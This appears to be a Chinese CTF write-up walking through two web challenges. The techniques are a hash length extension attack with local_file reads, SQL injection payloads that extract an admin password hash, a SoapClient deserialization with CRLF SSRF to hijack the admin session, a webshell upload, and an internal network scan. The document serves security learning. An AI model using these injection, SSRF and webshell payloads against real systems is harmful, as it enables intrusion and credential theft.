SSRF ME
打开题目代码没格式化,右键查看源代码可以看到格式化后的代码
代码审计:
1 | unqote:urlencode的逆向 |
- /geneSign: 先获取param参数,然后结合
action="scan"
调用getSign函数生成签名 - /De1ta: 先从cookie里获取action和sign,再获取param参数,结合ip构造一个Task类的对象,再以json返回exec方法的执行结果
- /: 首页,获取源码
然后是getSign函数:
用secert_key、param、action结合起来之后md5
再看waf函数:

检查gopher和file开头,是个过滤函数
然后是Task类的Exec方法:
先检查scan在不在action里,如果在的话就调用scan方法读取内容写到沙盒下的result.txt文件
还有就是看action里有没有read,有的话就读出里面的内容
所以要做的就是读取flag.txt到result.txt并且展示result.txt
在getSign函数里:
算md5的时候param和action可控,而且action是在最后的,所以我们就可以用hash长度扩展攻击,在action后面拼接上我们想要的东西,并且预测出拼接的md5,这儿我们可以在scan后面拼上read。(关于hash长度扩展攻击可以看p大的这篇文章)
最后在scan函数里用的urlopen方法,有两种方法可以读取到本地文件:
- 直接写文件名,前面什么都别带
- local_file:https://bugs.python.org/issue35907
分析完以后我们就要获取md5(secret_key + 'flag.txt' + 'readscan')
的值,secret_key
是一个长度为16的字符串,用/geneSign?param=flag.txt
即可获取上面所说的md5值
1 | jagger@jagger-ubuntu:~$ hashpump |
当然也可以写个脚本直接跑出来flag
1 | import hashpumpy |
最后稍微总结一下几个有点绕的点:
在复现的时候发现脚本中的
hash_sign = hashpumpy.hashpump(sign, 'scan', 'read', 24)
的参数其实不是唯一的,也可以写成hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)
,其实换个角度想一下,也就是把sign+url
=> 看成sign
,所以最后一个参数sign的长度也变了。关于local_file的问题,虽然知道local_file可以读文件,但是找不到flag.txt路径,这里提供两个方法:
- 可以通过读取
/root/.history
猜到 - 还可以这样:
local-file:///proc/self/cwd/flag.txt
,因为/proc/self/cwd/
代表的是当前路径,cwd指向的总是bash进程 - 还可以这样:
local_file:flag.txt
(这样写的话就是相对脚本的路径),而local_file://
就必须使用绝对路径(协议就是这样规定的)
- 可以通过读取
shellshellshell
这道题真的是知识点超多。。第一部分是套用了N1ctf的easy php
1. 注入
题目刚开始通过index.php~
可以拿到index.php的,其他页面的源码也都可以通过同样的方拿到
各个文件都包含了config.php,所以先看一下config.php
1 | function addsla_all() |
全部过滤了也不是不能注入的,还是要从数据库操作语句中分析
1 | private function get_column($columns){ |
先说一下preg_replace
的用法
1 mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
1 | preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)) |
知道insert
函数有问题以后我们就找一下看哪里调用了insert函数,在user.php
中可以看到
跟进check_username
函数可以看到对$username做了过滤,无法注入
$password也进行了md5处理,接着看一下get_ip
函数返回的内容跟进到config.php找到get_ip
函数,看到返回的是$_SERVER['REMOTE_ADDR']
第一处调用insert无法注入,但底下还有一处
在这里的$_POST['signature']
和$mood
就没有做限制了,所以可以利用这个来注入。但利用这里注入的话需要先注册,所以先要处理一下验证码
生成验证码表(还有一个生成单次验证码的脚本: md5p.py)
1 | import hashlib |
接下里就是去/index.php?action=register
先注册一个账号,验证码可以去验证码表里找,注册并登陆后就可以进到publish页面来注入。
到这里以后有好几种注入方法
0x00 官方exp
官方wp中的exp:
1 | import re |
可以直接得到admin密码的哈希值,解码后为jaivypassword
0x01 伪造Mood类的mood属性注入
其实Mood
参数是直接有输出点的,找到/views/index
Mood类的mood参数被直接输出到页面中,注意有一个int类型转换,如果我们可以伪造Mood类的mood属性就好说了
1 | $mode = new Mood((int)"1","114.114.114.114"); |
因为在php中,最大的整型是8个字节,所以有32个字节的数据,分四次读出,每次8个字节,转化为10进制
所以最后注入的payload为
1 | signature=username`,concat(`O:4:"Mood":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8))),16,10)),`;s:2:"ip";s:15:"114.114.114.114";s:4:"date";s:1:"0";}`))#&mood=0 |
打过去后回到首页,可以看到首页多了个不能显示的图片
查看图片的地址
然后在mysql中执行:select unhex(conv("7149808766969460582",10,16));
就可以求出前8位md5,然后依次类推求出后面的24位即可
0x02 二次注入
在p0’s blog | 破的博客中看到的,比起按位盲注来更便捷,可以一次性将admin的密码哈希值爆出来,同样来复现下
在注册一个新用户后首先要确定注册用户的id,然后才能进行下面的二次注入。这里我注册的用户名是123
注用户id的payload:
1 | signature=1`,1 and if(((select id from ctf_users where username=0x313233)=2),sleep(3),0))#&mood=0 |
这种注入就是一次插入两行数据,这样我们控制第二行的所有数据,然后将admin的密码哈希值显示到自己账号的signature上
二次注入payload:
1 | signature=1`,1),(2,`123`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0 |
剩下的未完成。。payload打过去页面直接返回500
2. SoapClient反序列化+SSRF+CRLF
拿到密码后发现还是无法登陆
所以再回去看源码,找到user.php
这里对admin做了验证,因为allow_diff_ip=0
,所以我们要想办法绕过这层限制,应该能想到这里要利用ssrf,ssrf的利用就有两条路:
- 修改admin的
allow_diff_ip
字段,让我们可以直接登录admin - 用自己的session登录admin
同样在user.php中找到allow_diff_ip
的代码
可以看到代码被写死了,所以无法修改admin的allow_diff_ip
在看user.php的过程中看到了一个反序列化操作
在这里我们可以通过注入控制序列化的内容,并且在/views/index.php
调用了showmess
函数
所以我们可以注入以下内容到数据库中,然后会在我们访问/index.php?action=index
的时候触发
1 | a`, {serialize object});# |
但是通过全局搜索并没有搜索到相关的魔术方法。。接下来就要用到触发反序列化的骚操作了
之前还发现有一个/views/phpinfo
文件,是给我们看phpinfo的,所以输入/index.php?action=phpinfo
看一下phpinfo
发现Soap和SoapClient类是可用的
SOAP(simple object access protocol)
简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。
是连接或web服务或客户端和web服务之间的接口
采用HTTP作为底层通讯协议, XML作为数据传送的格式
SOAP信息通常是单向传输。
然后看一下php中SoapClient
类的用法:SoapClient::SoapClient
php5和php7都可用,SoapClient类第一个参数是$wsdl,确定是否是wdsl模式。这个参数如果是NULL,那么就是非wsdl模式,反序列化的时候就会对options中url进行远程soap请求;如果是wsdl模式,在序列化之前就会对$url参数进行请求,所以无法控制序列化数据
本来想写一个简单的soap请求验证一下,但buuoj没通外网,遂放弃,这里借用先知上一篇文章里的内容
一个简单的生成soap序列化后的请求的代码:
1 |
|
1 | O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://123.206.216.198:8887";s:13:"_soap_version";i:1;} |
然后在vps上执行监听端口:nc -lvv 8887
当把这个序列化字符串传入unserialize
然后执行一个SoapClient没有 的成员的时候
可以看到成功获得了soap请求,然后uri
是可控的,也就是上图中的123
具体的分析修改soap的post请求的原理可以看上面那篇先知的文章
soap
请求的content/type
是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded
才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent
的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent
来控制整个POST报文。
我们知道http请求报文中使用\x0d\x0a
,也就是回车换行符
,分割http请求头跟body部分,所以我们通过\x0d\x0a
来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF
这里踩了有一个坑很容易复现失败,我这里是用火狐直接打开靶机,注册、登录然后对publish页面用burp抓包;接着用chrome打开靶机,打开后只获取一个新PHPSESSID和CODE
1 |
|
上面的代码用来生成admin登录的报文,PHPSESSID和CODE是对应的
最终的payload:
1 | POST /index.php?action=publish HTTP/1.1 |
burpsuite发的包是火狐的,上图中的PHPSESSID也是登录好的那个账号的PHPSESSID
payload打过去之后,在火狐回到/index.php?action=index
访问一下,接着回到chrome刷新页面就可以进admin了,并且能看到上传页面
3. 内网扫描+审计
虽然上传那里提示请上传一个图片,其实没有任何限制,我这里上传了个小马,位置在/upload/trojans.php
然后用蚁剑连上,用ifconfig
看到这台机器的ip是172.64.176.5
(也可以cat /proc/net/fib_trie 查看路由树),蚁剑的插件市场中有端口扫描工具,可以扫一下试试看
用wget把172.64.176.6的80端口的东西保存下来
打开upload/6.html
第一层是数组绕过,第二层随机文件名来用路径穿越绕过,在postman中构造请求
点击code生成代码,选择php cURL
然后上图画框中的第一部分要改一下,这里是在/etc下搜索带有flag名字的文件,然后把内容列出来
1 |
|
将上面的代码保存成1.php
,然后用蚁剑传到我们拿到admin权限的那台靶机上,访问一下,flag就出现了